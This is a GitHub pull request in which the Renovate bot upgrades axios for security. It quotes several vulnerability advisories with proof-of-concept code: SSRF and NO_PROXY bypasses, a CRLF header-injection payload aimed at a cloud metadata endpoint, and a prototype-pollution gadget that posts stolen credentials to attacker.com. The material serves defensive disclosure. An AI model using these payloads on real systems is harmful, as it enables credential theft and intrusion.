Skip to content

Update dependency axios to ^0.33.0 [SECURITY] - #31

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate-npm-axios-vulnerability
Open

Update dependency axios to ^0.33.0 [SECURITY]#31
renovate[bot] wants to merge 1 commit into
mainfrom
renovate-npm-axios-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Jul 17, 2026

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
axios (source) ^0.21.2^0.33.0 age confidence

Axios Cross-Site Request Forgery Vulnerability

CVE-2023-45857 / GHSA-wf5p-g6vw-rhxx

More information

Details

An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL

CVE-2025-27152 / GHSA-jr5f-v2jv-69x6

More information

Details

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.
PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact
  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

Severity

  • CVSS Score: 7.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Axios is Vulnerable to Denial of Service via proto Key in mergeConfig

CVE-2026-25639 / GHSA-43fc-jf86-j433

More information

Details

Denial of Service via proto Key in mergeConfig
Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:

utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {
  const merge = mergeMap[prop] || mergeDeepProperties;
  const configValue = merge(config1[prop], config2[prop], prop);
  (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
});

When prop is '__proto__':

  1. JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property
  2. Object.keys() includes '__proto__' in the iteration
  3. mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)
  4. The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype
  5. Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

  • Axios._request() at lib/core/Axios.js:75
  • Axios.getUri() at lib/core/Axios.js:201
  • All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224
PoC
import axios from "axios";

const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://httpbin.org/get", maliciousConfig);

Reproduction steps:

  1. Clone axios repository or npm install axios
  2. Create file poc.mjs with the code above
  3. Run: node poc.mjs
  4. Observe the TypeError crash

Verified output (axios 1.13.4):

TypeError: merge is not a function
    at computeConfigValue (lib/core/mergeConfig.js:100:25)
    at Object.forEach (lib/utils.js:280:10)
    at mergeConfig (lib/core/mergeConfig.js:98:9)

Control tests performed:

Test Config Result
Normal config {"timeout": 5000} SUCCESS
Malicious config JSON.parse('{"__proto__": {"x": 1}}') CRASH
Nested object {"headers": {"X-Test": "value"}} SUCCESS

Attack scenario:
An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

  • Node.js servers using axios for HTTP requests
  • Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF

CVE-2025-62718 / GHSA-3p68-rc4w-qgx5

More information

Details

Axios does not correctly handle hostname normalization when checking NO_PROXY rules.
Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy.

This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services.

According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, localhost. is the same as localhost.
However, Axios does a literal string comparison instead of normalizing hostnames before checking NO_PROXY. This causes requests like http://localhost.:8080/ and http://[::1]:8080/ to be incorrectly proxied.

This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.


PoC

import http from "http";
import axios from "axios";

const proxyPort = 5300;

http.createServer((req, res) => {
  console.log("[PROXY] Got:", req.method, req.url, "Host:", req.headers.host);
  res.writeHead(200, { "Content-Type": "text/plain" });
  res.end("proxied");
}).listen(proxyPort, () => console.log("Proxy", proxyPort));

process.env.HTTP_PROXY = `http://127.0.0.1:${proxyPort}`;
process.env.NO_PROXY = "localhost,127.0.0.1,::1";

async function test(url) {
  try {
    await axios.get(url, { timeout: 2000 });
  } catch {}
}

setTimeout(async () => {
  console.log("\n[*] Testing http://localhost.:8080/");
  await test("http://localhost.:8080/"); // goes through proxy

  console.log("\n[*] Testing http://[::1]:8080/");
  await test("http://[::1]:8080/"); // goes through proxy
}, 500);

Expected: Requests bypass the proxy (direct to loopback).
Actual: Proxy logs requests for localhost. and [::1].


Impact

  • Applications that rely on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access are vulnerable.

  • Attackers controlling request URLs can:

    • Force Axios to send local traffic through an attacker-controlled proxy.
    • Bypass SSRF mitigations relying on NO_PROXY rules.
    • Potentially exfiltrate sensitive responses from internal services via the proxy.

Affected Versions

  • Confirmed on Axios 1.12.2 (latest at time of testing).
  • affects all versions that rely on Axios’ current NO_PROXY evaluation.

Remediation
Axios should normalize hostnames before evaluating NO_PROXY, including:

  • Strip trailing dots from hostnames (per RFC 3986).
  • Normalize IPv6 literals by removing brackets for matching.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

CVE-2026-40175 / GHSA-fvcv-3m26-pcqx

More information

Details

Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain
Summary

The Axios library is vulnerable to a specific gadget-style attack chain in which prototype pollution in a third-party dependency may be leveraged to inject unsanitized header values into outbound requests.

Axios can be used as a gadget after pollution occurs elsewhere because header values merged from attacker-controlled prototype properties are not sanitized for CRLF (\r\n) characters before being written to the request. In affected deployments, this may enable limited request manipulation or metadata access as part of a higher-complexity exploit chain.

Severity: Moderate (CVSS 3.1 Base Score: 4.8)
Affected Versions: All versions (v0.x - v1.x)
Vulnerable Component: lib/adapters/http.js (Header Processing)

Usage of "Helper" Vulnerabilities

This issue requires a separate prototype pollution vulnerability in another library in the application stack (for example, qs, minimist, ini, or body-parser). If an attacker can pollute Object.prototype, Axios may pick up the polluted properties during config merge.

Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property can alter the structure of an outbound HTTP request.

Proof of Concept
1. The Setup (Simulated Pollution)

Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:

Object.prototype['x-amz-target'] = \"dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore\";
2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

// This looks safe to the developer
await axios.get('https://analytics.internal/pings'); 
3. The Execution

Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation.

Resulting HTTP traffic:

GET /pings HTTP/1.1
Host: analytics.internal
x-amz-target: dummy

PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600

GET /ignore HTTP/1.1
...
4. The Impact

In environments where requests can reach cloud metadata endpoints or sensitive internal services, the injected header content may help bypass expected request constraints and expose limited credentials or modify request semantics. This impact depends on application context and a separate prototype-pollution primitive.

Impact Analysis
  • Confidentiality: May expose limited sensitive information in affected network environments.
  • Integrity: May allow modification of outbound request structure or injected headers.
  • Attack Complexity: Exploitation requires a separate prototype-pollution vulnerability and a reachable target service.
Recommended Fix

Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function.

Patch Suggestion:

// In lib/adapters/http.js
utils.forEach(requestHeaders, function setRequestHeader(val, key) {
  if (/[\r\n]/.test(val)) {
    throw new Error('Security: Header value contains invalid characters');
  }
  // ... proceed to set header
});
References
  • OWASP: CRLF Injection (CWE-113)

This report was generated as part of a security audit of the Axios library.

Severity

  • CVSS Score: 4.8 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


axios Vulnerable to Credential Theft and Response Hijacking via Prototype Pollution Gadget in Config Merge

CVE-2026-44495 / GHSA-3g43-6gmg-66jw

More information

Details

Summary

Axios versions before the fixed releases contain prototype-pollution gadgets in request config processing. If another vulnerability in the same JavaScript process has already polluted Object.prototype.transformResponse, affected Axios versions may treat that inherited value as request configuration or as an option validator.

Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request.

Impact

For ordinary prototype-pollution primitives that can only assign JSON-like values, this issue primarily results in request failures or denial-of-service attacks.

If the attacker can pollute Object.prototype.transformResponse with a function, affected versions of Axios may execute it. In fully affected versions, the function can observe response data and request config, including URL, headers, and auth, and can change the response data returned to application code.

This function-valued condition is important. Most query-string or JSON parser prototype-pollution bugs cannot create JavaScript functions on their own, so credential exposure and response tampering are conditional rather than automatic consequences of such bugs.

Affected Functionality

The affected functionality is Axios request config processing and response transformation.

Affected use requires all of the following:

  • An affected Axios version.
  • A polluted Object.prototype in the same process or browser context.
  • Pollution before Axios merges or validates the request config.
  • A polluted key relevant to Axios config, especially transformResponse.

This is not specific to the Node HTTP adapter. Browser and Node usage can both pass through the shared config/transform pipeline, though real-world exploitability depends on the surrounding application and any helper vulnerabilities.

Technical Details

In affected versions, mergeConfig() reads config values through normal property access. For config keys present in Axios defaults, including transformResponse, a missing own property on the request config can fall through to Object.prototype.

In the fully affected path, this means Object.prototype.transformResponse can replace Axios's default response transform. The selected transform is later executed by transformData() with the request config as this.

Some later affected v1 releases guarded the merge path but still used inherited properties while looking up validators in validator.assertOptions(). In that narrower case, a polluted function can still run during config validation and inspect the config argument, but it does not replace the response transform.

Fixed versions use own-property checks and null-prototype config objects, so inherited Object.prototype values are not treated as Axios config or validator schema entries.

Proof of Concept of Attack
import http from 'http';
import axios from 'axios';

const seen = [];

const server = http.createServer((req, res) => {
  res.setHeader('Content-Type', 'application/json');
  res.end(JSON.stringify({ secret: 'response-secret' }));
});

await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));

Object.prototype.transformResponse = function pollutedTransform(data, headers, status) {
  if (headers && typeof status === 'number') {
    seen.push({
      url: this.url,
      username: this.auth && this.auth.username,
      password: this.auth && this.auth.password,
      responseData: data
    });

    return { hijacked: true };
  }

  return true;
};

try {
  const { port } = server.address();

  const response = await axios.get(`http://127.0.0.1:${port}/users`, {
    auth: { username: 'svc-account', password: 'prod-secret-key-123' }
  });

  console.log(response.data); // { hijacked: true }
  console.log(seen[0]);       // request config plus original response body
} finally {
  delete Object.prototype.transformResponse;

  server.close();
}

Expected result on fully affected versions: the polluted transform runs, captures request config and response data, and replaces the response returned to the caller.

Expected result on fixed versions: the polluted transform is ignored, and the original response is returned.

Original source report
Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into credential theft and response hijacking across all Axios requests.

The mergeConfig() function reads config properties via standard property access (config2[prop]), which traverses the JavaScript prototype chain. When Object.prototype.transformResponse is polluted with a function, it overrides the default JSON response parser for every request. The injected function executes with this = config, exposing auth.username, auth.password, request URL, and all headers.

Severity: High (CVSS 8.2)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/core/mergeConfig.js (Config Merge) + lib/core/transformData.js (Transform Execution)

CWE
  • CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
CVSS 3.1

Score: 9.4 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H

Metric Value Justification
Attack Vector Network PP is triggered remotely via any vulnerable dependency
Attack Complexity Low Once PP exists, a single property assignment exploits axios. Consistent with GHSA-fvcv-3m26-pcqx scoring
Privileges Required None No authentication needed
User Interaction None No user interaction required
Scope Unchanged Credential theft occurs within the same application process
Confidentiality High this.auth.password, this.url, original response data all exfiltrated
Integrity Low Response data is replaced with true — attacker cannot return arbitrary data due to assertOptions constraint (see below)
Availability High Polluting with an array value causes TypeError: validator is not a function crash (DoS) on every request
Relationship to GHSA-fvcv-3m26-pcqx

This vulnerability is in the same class as GHSA-fvcv-3m26-pcqx ("Unrestricted Cloud Metadata Exfiltration via Header Injection Chain"), which was also a PP gadget in axios rated Critical. Both require zero direct user input and exploit mergeConfig's prototype chain traversal.

Factor GHSA-fvcv-3m26-pcqx This Vulnerability
Attack vector PP → Header injection → Request smuggling PP → Transform function override → Credential theft
Fixed by 1.15.0 header sanitization? Yes No — different code path
Affects Requests using form-data package All requests (transformResponse is in defaults)
Impact AWS IMDSv2 bypass, cloud compromise Credential theft (auth, API keys), response hijacking, DoS
Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically pick up the polluted transformResponse property during its config merge.

The critical difference from GHSA-fvcv-3m26-pcqx: this vector was NOT fixed by the header sanitization patch in v1.15.0, because it does not use headers at all — it injects a function into the response processing pipeline.

Proof of Concept
1. The Setup (Simulated Pollution)

Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:

Object.prototype.transformResponse = function(data, headers, status) {
  // Steal credentials via this context (this = full request config)
  if (this && this.url && typeof data === 'string') {
    fetch('https://attacker.com/exfil', {
      method: 'POST',
      body: JSON.stringify({
        url: this.url,
        username: this.auth?.username,
        password: this.auth?.password,
        responseData: data,
      })
    });
  }
  return true;  // MUST return true to pass assertOptions validator check
};

Important constraint: The polluted value must be a function returning true, not an array. If an array is used, assertOptions() at validator.js:89-92 crashes with TypeError: validator is not a function (which is still a DoS vector). The function must return true because validator.js:93 checks result !== true.

2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

// This looks safe to the developer
const response = await axios.get('https://api.internal/users', {
  auth: { username: 'svc-account', password: 'prod-secret-key-123!' }
});
3. The Execution

Axios's mergeConfig() at mergeConfig.js:99-103 iterates config keys:

utils.forEach(Object.keys({...config1, ...config2}), function computeConfigValue(prop) {
  // 'transformResponse' is in config1 (defaults) → included in keys
  const merge = mergeMap[prop];  // → defaultToConfig2
  const configValue = merge(config1[prop], config2[prop], prop);
  // config2['transformResponse'] traverses prototype → finds polluted function!
});

The polluted function then executes at transformData.js:21:

data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);
// fn = attacker's function, this = config (containing auth credentials)
4. The Impact
Attacker receives at https://attacker.com/exfil:

{
  "url": "https://api.internal/users",
  "username": "svc-account",
  "password": "prod-secret-key-123!",
  "responseData": "{\"users\":[{\"id\":1,\"role\":\"admin\"}]}"
}

The response data seen by the application is true (the required return value), which will likely cause the application to malfunction but will not reveal the theft.

5. DoS Variant
// Array pollution crashes every request
Object.prototype.transformResponse = [function(d) { return d; }];

await axios.get('https://any-url.com');
// → TypeError: validator is not a function
// Every request in the application crashes
Verified PoC Output
Step 1 - Normal behavior (before pollution):  
    Default transformResponse function name: "transformResponse"

Step 2 - Polluting Object.prototype.transformResponse:  
    Function replaced by attacker: true

Step 3 - Simulating dispatchRequest transformResponse:  
    Original server response: {"secret_key":"sk-prod-a1b2c3d4","internal_ip":"10.0.0.5"}  
    After malicious transform: true  
    Response tampered: true

Step 4 - Exfiltrated data:  
    Original response data: {"secret_key":"sk-prod-a1b2c3d4","internal_ip":"10.0.0.5"}  
    Request URL: https://internal-api.corp/secrets  
    Authentication info: {"username":"admin","password":"P@ssw0rd123!"}
Impact Analysis
  • Credential Theft: this.auth.username, this.auth.password, this.headers.Authorization, and all other config properties are accessible to the injected function. The attacker can exfiltrate them to an external server.
  • Response Data Exfiltration: The original server response (data parameter) is available to the injected function before being replaced.
  • Universal Scope: Affects every axios request in the application, including all third-party libraries that use axios.
  • Denial of Service: Polluting with a non-function value crashes every request.
  • Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx fix) does not address this vector.
Limitations (Honest Assessment)
  • Requires a separate prototype pollution vulnerability elsewhere in the dependency tree
  • Response data cannot be arbitrarily tampered — the function must return true to pass assertOptions
  • This is in-process JavaScript function execution, not OS-level RCE
Recommended Fix

Use hasOwnProperty checks in defaultToConfig2 to prevent prototype chain traversal:

// In lib/core/mergeConfig.js
function defaultToConfig2(a, b, prop) {
  if (Object.prototype.hasOwnProperty.call(config2, prop) && !utils.isUndefined(b)) {
    return getMergedValue(undefined, b);
  } else if (!utils.isUndefined(a)) {
    return getMergedValue(undefined, a);
  }
}

Additionally, validate that transformResponse contains only functions before execution:

// In lib/core/transformData.js
utils.forEach(fns, function transform(fn) {
  if (typeof fn !== 'function') {
    throw new AxiosError('Transform must be a function', AxiosError.ERR_BAD_OPTION);
  }
  data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);
});
Resources
Timeline
Date Event
2026-04-15 Vulnerability discovered during source code audit
2026-04-15 Initial PoC developed (array payload — crashes at validator.js)
2026-04-16 PoC corrected (function payload returning true — works)
2026-04-16 Report revised with accurate constraints
TBD Report submitted to vendor via GitHub Security Advisory

Severity

  • CVSS Score: 7.0 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Axios' HTTP adapter-streamed uploads bypass maxBodyLength when maxRedirects: 0

CVE-2026-42034 / GHSA-5c9x-8gcm-mpgx

More information

Details

Summary

For stream request bodies, maxBodyLength is bypassed when maxRedirects is set to 0 (native http/https transport path). Oversized streamed uploads are sent fully even when the caller sets strict body limits.

Details

Relevant flow in lib/adapters/http.js:

  • 556-564: maxBodyLength check applies only to buffered/non-stream data.
  • 681-682: maxRedirects === 0 selects native http/https transport.
  • 694-699: options.maxBodyLength is set, but native transport does not enforce it.
  • 925-945: stream is piped directly to socket (data.pipe(req)) with no Axios byte counting.

This creates a path-specific bypass for streamed uploads.

PoC

Environment:

  • Axios main at commit f7a4ee2
  • Node v24.2.0

Steps:

  1. Start an HTTP server that counts uploaded bytes and returns {received}.
  2. Send a 2 MiB Readable stream with:
    • adapter: 'http'
    • maxBodyLength: 1024
    • maxRedirects: 0

Observed:

  • Request succeeds; server reports received: 2097152.

Control checks:

  • Same stream with default/nonzero redirects: rejected with ERR_FR_MAX_BODY_LENGTH_EXCEEDED.
  • Buffered body with maxRedirects: 0: rejected with ERR_BAD_REQUEST.

Impact

Type: DoS / uncontrolled upstream upload / resource exhaustion.
Impacted: Node.js services using streamed request bodies with maxBodyLength expecting hard enforcement, especially when following Axios guidance to use maxRedirects: 0 for streams.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Axios: unbounded recursion in toFormData causes DoS via deeply nested request data

CVE-2026-42039 / GHSA-62hf-57xw-28j9

More information

Details

Summary

toFormData recursively walks nested objects with no depth limit, so a deeply nested value passed as request data crashes the Node.js process with a RangeError.

Details

lib/helpers/toFormData.js:210 defines an inner build(value, path) that recurses into every object/array child (line 225: build(el, path ? path.concat(key) : [key])). The only safeguard is a stack array used to detect circular references; there is no maximum depth and no try/catch around the recursion. Because build calls itself once per nesting level, a payload nested roughly 2000+ levels deep exhausts V8's call stack.

toFormData is the serializer behind FormData request bodies and AxiosURLSearchParams (used by buildURL when params is an object with URLSearchParams unavailable, see lib/helpers/buildURL.js:53 and lib/helpers/AxiosURLSearchParams.js:36). Any server-side code that forwards a client-supplied object into axios({ data, params }) therefore reaches the recursive walker with attacker-controlled depth.

The RangeError is thrown synchronously from inside forEach, escapes toFormData, and propagates out of the axios request call. In typical Express/Fastify request handlers this terminates the running request; in synchronous startup paths or worker threads it can crash the whole process.

PoC
import toFormData from 'axios/lib/helpers/toFormData.js';
import FormData from 'form-data';

function nest(depth) {
  let o = { leaf: 1 };
  for (let i = 0; i < depth; i++) o = { a: o };
  return o;
}

try {
  toFormData(nest(2500), new FormData());
} catch (e) {
  console.log(e.name + ': ' + e.message);
}
// RangeError: Maximum call stack size exceeded

Server-side reachability example:

// vulnerable proxy pattern
app.post('/forward', async (req, res) => {
  await axios.post('https://upstream/api', req.body); // req.body user-controlled
  res.send('ok');
});
// attacker POST /forward with {"a":{"a":{"a":... 2500 deep ...}}}
// -> toFormData build() overflows -> request handler crashes

Verified on axios 1.15.0 (latest, 2026-04-10), Node.js 20, 3/3 PoC runs reproduce the RangeError at depth 2500.

Impact

A remote, unauthenticated attacker who can influence an object passed to axios as request data or params triggers an uncaught RangeError inside the synchronous recursive walker. In server-side applications that proxy or re-send client JSON through axios this crashes the request handler and, in worker/cluster setups, the process. Fix by bounding recursion depth in toFormData's build function (reject or throw on depths beyond a configurable limit, e.g. 100) or rewriting the walker iteratively.

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Axios: Header Injection via Prototype Pollution

CVE-2026-42035 / GHSA-6chq-wfr3-2hj9

More information

Details

Summary

A prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned headers into the outgoing request.

The vulnerable code resides exclusively in lib/adapters/http.js. The prototype pollution source does not need to originate from Axios itself — any prototype pollution primitive in any dependency in the application's dependency tree is sufficient to trigger this gadget.

Prerequisites:

A prototype pollution primitive must exist somewhere in the application's dependency chain (e.g., via lodash.merge, qs, JSON5, or any deep-merge utility processing attacker-controlled input). The pollution source is not required to be in Axios.
The application must use Axios to make HTTP requests with a data payload (POST, PUT, PATCH).

Details

The vulnerability is in lib/adapters/http.js, in the data serialization pipeline:

// lib/adapters/http.js 
} else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) {
    headers.set(data.getHeaders());
    // ...
}

Axios uses two sequential duck-type checks, both of which can be satisfied via prototype pollution:

1. utils.isFormData(data)lib/utils.js

const isFormData = (thing) => {
  let kind;
  return thing && (
    (typeof FormData === 'function' && thing instanceof FormData) || (
      isFunction(thing.append) && ( 
        (kind = kindOf(thing)) === 'formdata' ||  
        (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]')
      )
    )
  )
}

2. utils.isFunction(data.getHeaders) — Duck-type for form-data npm package

// Returns true if Object.prototype.getHeaders is a function
utils.isFunction(data.getHeaders) 
PoC
// Simulate Prototype Pollution
Object.prototype[Symbol.toStringTag] = 'FormData';
Object.prototype.append = () => {};
Object.prototype.getHeaders = () => {
    const headers = Object.create(null);
    (.... Introduce here all the headers you want ....)
    return headers;
};
Object.prototype.pipe = function(d) { if(d&&d.end)d.end(); return d; };
Object.prototype.on = function() { return this; };
Object.prototype.once = function() { return this; };

// Legitimate application code
const response = await axios.post('https://internal-api.company.com/admin/delete', 
    { userId: 42 },
    { headers: { 'Authorization': 'Bearer VALID_USER_TOKEN' } }
);
Impact
  • Authentication Bypass (CVSS: C:H)
  • Session Fixation (CVSS: I:H)
  • Privilege Escalation (CVSS: C:H, I:H)
  • IP Spoofing / WAF Bypass (CVSS: I:H)

Note on Scope: There is an argument to promote this from S:U to S:C (Scope: Changed), which would raise the score to 10.0. In some architectures, Axios is commonly used for service to service communication where downstream services trust identity headers (Authorization, X-Role, X-User-ID, X-Tenant-ID) forwarded from upstream API gateways. In this scenario, the vulnerable component (Axios in Service A) and the impacted component (Service B, which acts on the injected identity) are under different security authorities. The injected headers cross a trust boundary, meaning the impact extends beyond the security scope of the vulnerable component, the CVSS v3.1 definition of a Scope Change. We conservatively score S:U here, but maintainers should evaluate which one applies better here.

Recommended Fix

Add an explicit own-property check in lib/adapters/http.js:

- } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) {
-     headers.set(data.getHeaders());
+ } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders) &&
+            Object.prototype.hasOwnProperty.call(data, 'getHeaders')) {
+     headers.set(data.getHeaders());

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Axios: no_proxy bypass via IP alias allows SSRF

CVE-2026-42038 / GHSA-m7pr-hjqh-92cm

More information

Details

The fix for no_proxy hostname normalization bypass (#​10661) is incomplete.When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it.

The shouldBypassProxy() function does pure string matching — it does not
resolve IP aliases or loopback equivalents. As a result:

  • no_proxy=localhost does NOT block 127.0.0.1 or [::1]
  • no_proxy=127.0.0.1 does NOT block localhost or [::1]

POC :
process.env.no_proxy = 'localhost';
process.env.http_proxy = 'http://attacker-proxy:8888';

    process.env.http_proxy = 'http://127.0.0.1:8888';

    console.log('=== Test 1: localhost (should bypass proxy) ===');
    try {
      await axios.get('http://localhost:7777/');
    } catch(e) {
      console.log('Error:', e.message);
    }

    console.log('');
    console.log('=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===');
    try {
      await axios.get('http://127.0.0.1:7777/');
    } catch(e) {
      console.log('Error:', e.message);
    }

    fakeProxy.close();
    internalServer.close();
  });
});
EOF
=== Test 1: localhost (should bypass proxy) ===
✅ Internal server hit directly (correct)

=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===
🚨 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/
🚨 Host header: 127.0.0.1:7777. ```
 

<img width="1212" height="247" alt="image" src="https://github.com/user-attachments/assets/0b07ddc4-507d-4b11-a630-15b94ad2c7e7" />

Impact: In server-side environments where no_proxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data.

Fix: shouldBypassProxy() should resolve loopback aliases — localhost, 127.0.0.1, and ::1 should all be treated as equivalent.

#### Severity
- CVSS Score: 6.8 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N`

#### References
